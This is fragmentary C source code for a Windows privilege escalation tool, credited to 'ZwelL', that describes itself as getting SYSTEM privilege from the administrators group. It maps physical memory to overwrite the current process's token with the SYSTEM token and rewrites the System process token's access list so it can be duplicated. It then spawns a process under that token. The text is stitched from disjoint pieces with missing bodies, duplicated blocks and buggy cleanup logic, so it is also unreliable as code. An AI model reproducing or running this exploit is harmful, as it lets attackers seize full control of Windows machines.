typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );
typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes );
typedef VOID (CALLBACK* RTLINITUNICODESTRING)( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString );
printf("/nIt is intended to get SYSTEM privilege from administrators group./n"); printf("/tMade by ZwelL./n"); printf("/tZwell@sohu.com./n"); printf("/thttp://www.donews.net/zwell./n"); printf("/tType -h to get more information/n", argv[0]);
printf("Current EPROCESS : %08x/n", CurrentEprocess); printf("Current Process Token : %08x/nPress ENTER to continue.../n", CurrentEprocessTokenValue); //getchar(); SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue); printf("Current Process Token : %08x/n", GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET))); printf("Press ENTER to create process.../n"); //getchar();
if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET)) == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET)) ) // It is so surprised that SYSTEM's Token always in changing. // So before create new process, we should ensure the TOKEN is all right { ShellExecute(NULL, "open", (argc==2)?argv[1]:"c://windows//regedit.exe", NULL, NULL, SW_SHOWNORMAL); } UnmapViewOfFile(g_pMapPhysicalMemory); CloseHandle(g_hMPM); CloseNTDLL();
__try { // Get a snapshot of the processes in the system hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == NULL) { printf("OpenSystemProcess CreateToolhelp32Snapshot Failed"); __leave; }
PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32);
// Find the "System" process BOOL fProcess = Process32First(hSnapshot, &pe32); while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0)) fProcess = Process32Next(hSnapshot, &pe32); if (!fProcess) { printf("OpenSystemProcess Not Found SYSTEM"); __leave; // Didn't find "System" process }
// Open the process with PROCESS_QUERY_INFORMATION access hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID); if (hProc == NULL) { printf("OpenSystemProcess OpenProcess Failed"); __leave; } } __finally { // Cleanup the snapshot if (hSnapshot != NULL) CloseHandle(hSnapshot); return(hProc); } }
__try { // Find the length of the security object for the kernel object DWORD dwSDLength; if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0, &dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER)) { printf("ModifySecurity GetKernelObjectSecurity Size Failed"); __leave; }
// Allocate a buffer of that length pSD = LocalAlloc(LPTR, dwSDLength); if (pSD == NULL) { printf("ModifySecurity LocalAlloc Failed"); __leave; }
// Retrieve the kernel object if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, dwSDLength, &dwSDLength)) { printf("ModifySecurity GetKernelObjectSecurity Failed"); __leave; }
// Get a pointer to the DACL of the SD BOOL fDaclPresent; BOOL fDaclDefaulted; if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl, &fDaclDefaulted)) { printf("ModifySecurity GetSecurityDescriptorDacl Failed"); __leave; }
// Get the current user's name TCHAR szName[1024]; DWORD dwLen = chDIMOF(szName); if (!GetUserName(szName, &dwLen)) { printf("ModifySecurity GetUserName Failed"); __leave; }
// Build an EXPLICIT_ACCESS structure for the ace we wish to add. EXPLICIT_ACCESS ea; BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0); ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
// We are allocating a new ACL with a new ace inserted. The new // ACL must be LocalFree'd if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl)) { printf("ModifySecurity SetEntriesInAcl Failed"); pNewAcl = NULL; __leave; }
// Now set the security descriptor DACL if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl, fDaclDefaulted)) { printf("ModifySecurity SetSecurityDescriptorDacl Failed"); __leave; }
// And set the security for the object if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD)) { printf("ModifySecurity SetKernelObjectSecurity Failed"); __leave; }
fSuccess = TRUE;
} __finally { // Cleanup if (pNewAcl == NULL) LocalFree(pNewAcl);
if (pSD == NULL) LocalFree(pSD);
if (pAcl == NULL) LocalFree(pAcl);
if (pSacl == NULL) LocalFree(pSacl);
if (pSidOwner == NULL) LocalFree(pSidOwner);
if (pSidPrimary == NULL) LocalFree(pSidPrimary);
if(!fSuccess) { printf("ModifySecurity exception caught in __finally"); }
return(fSuccess); } }
HANDLE GetLSAToken() { HANDLE hProc = NULL; HANDLE hToken = NULL; BOOL bSuccess = FALSE; __try { // Enable the SE_DEBUG_NAME privilege in our process token if (!EnablePrivilege(SE_DEBUG_NAME)) { printf("GetLSAToken EnablePrivilege Failed"); __leave; }
// Retrieve a handle to the "System" process hProc = OpenSystemProcess(); if(hProc == NULL) { printf("GetLSAToken OpenSystemProcess Failed"); __leave; }
// Open the process token with READ_CONTROL and WRITE_DAC access. We // will use this access to modify the security of the token so that we // retrieve it again with a more complete set of rights. BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC, &hToken); if(FALSE == fResult) { printf("GetLSAToken OpenProcessToken Failed"); __leave; }
// Add an ace for the current user for the token. This ace will add // TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights. if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_SESSIONID)) { printf("GetLSAToken ModifySecurity Failed"); __leave; }
// Reopen the process token now that we have added the rights to // query the token, duplicate it, and assign it. fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken); if (FALSE == fResult) { printf("GetLSAToken OpenProcessToken Failed"); __leave; } bSuccess = TRUE; } __finally { // Close the System process handle if (hProc != NULL) CloseHandle(hProc); if(bSuccess) return hToken; else { ::CloseHandle(hToken); return NULL; } } }
// Verify the parameter passed in is not NULL. if (NULL == ppsid) goto Cleanup;
// Get required buffer size and allocate the TOKEN_GROUPS buffer.
if (!GetTokenInformation( hToken, // handle to the access token TokenGroups, // get information about the token's groups (LPVOID) ptg, // pointer to TOKEN_GROUPS buffer 0, // size of buffer &dwLength // receives required buffer size )) { if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) goto Cleanup;
// Get the token group information from the access token.
if (!GetTokenInformation( hToken, // handle to the access token TokenGroups, // get information about the token's groups (LPVOID) ptg, // pointer to TOKEN_GROUPS buffer dwLength, // size of buffer &dwLength // receives required buffer size )) { goto Cleanup; }
// Loop through the groups to find the logon SID.
for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++) if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID) == SE_GROUP_LOGON_ID) { // Found the logon SID; make a copy of it.
// Save a handle to the caller's current window station.
if ( (hwinstaSave = GetProcessWindowStation() ) == NULL) goto Cleanup;
// Get a handle to the interactive window station.
hwinsta = OpenWindowStation( "winsta0", // the interactive window station FALSE, // handle is not inheritable READ_CONTROL | WRITE_DAC); // rights to read/write the DACL
if (hwinsta == NULL) goto Cleanup;
// To get the correct default desktop, set the caller's // window station to the interactive window station.
if (!SetProcessWindowStation(hwinsta)) goto Cleanup;
// Get a handle to the interactive desktop.
hdesk = OpenDesktop( "default", // the interactive window station 0, // no interaction with other desktop processes FALSE, // handle is not inheritable READ_CONTROL | // request the rights to read and write the DACL WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS);
// Restore the caller's window station.
if (!SetProcessWindowStation(hwinstaSave)) goto Cleanup;
if (hdesk == NULL) goto Cleanup;
// Get the SID for the client's logon session.
if (!GetLogonSID(hToken, &pSid)) goto Cleanup;
// Allow logon SID full access to interactive window station.
if (! AddAceToWindowStation(hwinsta, pSid) ) goto Cleanup;
// Allow logon SID full access to interactive desktop.
if (! AddAceToDesktop(hdesk, pSid) ) goto Cleanup;
// Impersonate client to ensure access to executable file.
if (! ImpersonateLoggedOnUser(hToken) ) goto Cleanup;
// Initialize the STARTUPINFO structure. // Specify that the process runs in the interactive desktop.
ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb= sizeof(STARTUPINFO); si.lpDesktop = TEXT("winsta0//default"); //You can use EnumWindowStations to enum desktop
// Launch the process in the client's logon session.
bResult = CreateProcessAsUser( hToken, // client's access token NULL, // file to execute lpCommandLine, // command line NULL, // pointer to process SECURITY_ATTRIBUTES NULL, // pointer to thread SECURITY_ATTRIBUTES FALSE, // handles are not inheritable NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, // creation flags NULL, // pointer to new environment block NULL, // name of current directory &si, // pointer to STARTUPINFO structure &pi // receives information about new process );
if (pacl != NULL) { // get the file ACL size info if (!GetAclInformation( pacl, (LPVOID)&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION), AclSizeInformation) ) __leave; }
if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION)) __leave;
// If DACL is present, copy it to a new DACL.
if (bDaclPresent) { // Copy the ACEs to the new ACL. if (aclSizeInfo.AceCount) { for (i=0; i < aclSizeInfo.AceCount; i++) { // Get an ACE. if (!GetAce(pacl, i, &pTempAce)) __leave;
// Add the ACE to the new ACL. if (!AddAce( pNewAcl, ACL_REVISION, MAXDWORD, pTempAce, ((PACE_HEADER)pTempAce)->AceSize) ) __leave; } } }
if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION)) __leave;
// If DACL is present, copy it to a new DACL.
if (bDaclPresent) { // Copy the ACEs to the new ACL. if (aclSizeInfo.AceCount) { for (i=0; i < aclSizeInfo.AceCount; i++) { // Get an ACE. if (!GetAce(pacl, i, &pTempAce)) __leave;
// Add the ACE to the new ACL. if (!AddAce( pNewAcl, ACL_REVISION, MAXDWORD, pTempAce, ((PACE_HEADER)pTempAce)->AceSize) ) __leave; } } }
// Add ACE to the DACL.
if (!AddAccessAllowedAce( pNewAcl, ACL_REVISION, DESKTOP_ALL, psid) ) __leave;
// Set new DACL to the new security descriptor.
if (!SetSecurityDescriptorDacl( psdNew, TRUE, pNewAcl, FALSE) ) __leave;
// Set the new security descriptor for the desktop object.
if (!SetUserObjectSecurity(hdesk, &si, psdNew)) __leave;
// Indicate success.
bSuccess = TRUE; } __finally { // Free buffers.
if (pNewAcl != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);
if (psd != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)psd);
if (psdNew != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew); }